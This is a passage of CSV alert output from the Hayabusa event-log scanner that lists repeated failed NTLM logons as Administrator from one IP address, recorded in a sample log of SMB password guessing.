NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A4TSN93DrSWb1ah4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.718 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QwFyrxiceLRTD9rI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.762 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ARbqo84Mr5T3ltRg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 34HpQJO17IDWber9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.978 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bSSbqOtdSeH58oIp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.009 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EMvTo7fU6J468WE9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8gzx6Vr9LoInM1df : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kwXC2S4HwdwNE6SX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.136 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1pQa1WxSt3bj9LEv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.185 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fm65jq9tRQznmWPh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.237 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zd8BJbXvEoaDADLc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.280 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: P0JlFw7S6jFUt4Iy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.313 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rfMbFXQcP5sA2wmf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.349 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xu4pgyCcDjl9h0Et : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B00w8dZG3sT2Lsqo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.450 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8aKGq6qrchp4SLvT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.568 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XnScYHBCKOSHItsi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.610 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r8UMBM326M7a4njd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kTdYWOi6p7etRfya : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.691 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JWSlcEVzj5lGtVg0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xc77wukLTPOYAzj2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.769 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w4WmTwTGuwDN6YXn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aeN4cSffFA04oOje : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.849 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eYFPV1kGALqX8jyO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qIlhxT4qqo5bCsU3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: btoOskH0112h7MTO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:32.972 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nWUhQJBcS7XbMJUq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E70qmXDDWqmWJjyU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.047 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oX0L8wf6nt2grLvn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0D8BwniiXsjfkYqE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sSWYo4mphuvKHQHl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: im8an1mDle9f8skd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aOyLWd5CAAjnJt3C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.240 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s7gI55uWlshCLw3y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l7UogJ8bBw6Epbht : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.328 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qIl0QRFHXCVAHWdV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.370 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OxPv9v4TxFvS9JMy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uHMGfCorrLXpDyeD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.452 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KQTKgFibIa8NWExO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.492 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rEnx3upH3Om0wHn7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.532 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KlNbW1ljPSTdgUKY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.582 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w2WMd3HugfjSwJPJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.628 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yEy0C6dMhysbNDrX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.666 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vxlayd8pnAZ3dZ2Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PhKO1jyWqVEdC9w2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.736 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dAH2mHJ4ZK5GS2p0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lV2ZIWGGwlkyEMRB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.811 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sum2yMFio9KLwZk5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fICXSRvv9Vm0uVpY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.894 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IgrOk6Fjp0QtfJ3i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.936 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OPKoHLtxNoiG65sl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:33.972 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NctXRH1DR3slfVxQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.012 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vLnAs36K1mTivu2w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H7crZQ0eQ5RDNIp7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.108 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yHjgGhEtZgNwjaii : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y5gi2SS2mQiDylQ8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.186 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kqWJGguiWBEplJiZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RWP4luPa3lFolQVI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.276 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5K9DQWbzslRZZMSC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.329 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5qm0L113v24jlfjx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.360 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: seuUjyGmNlyYT4tU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.400 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FljAF4LWLmWNa3kL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.447 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RnN5mBOaAvYu25G7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.476 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: llBt31S46QVzg0Ki : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b1rvJUZo91Kka0G1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7Zqi86ZSFGRnoFM4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GeyeVdCUmHEKxR8f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.708 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DwxJVXt79KBZalqS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.748 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TDfRu1OTlHmyc38P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.790 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OLCAMPDWti9hjHtV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.833 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k2eViuJeorX2peGP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.868 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: davOE9p1fF2LbDP7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.922 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YFQsEbZnm94eSuUl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UnNcBIPoWdJH0x7M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:34.997 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8Fw1xVFyar0Cal2J : IP Address: 192.168.198.149 : AuthPackage: 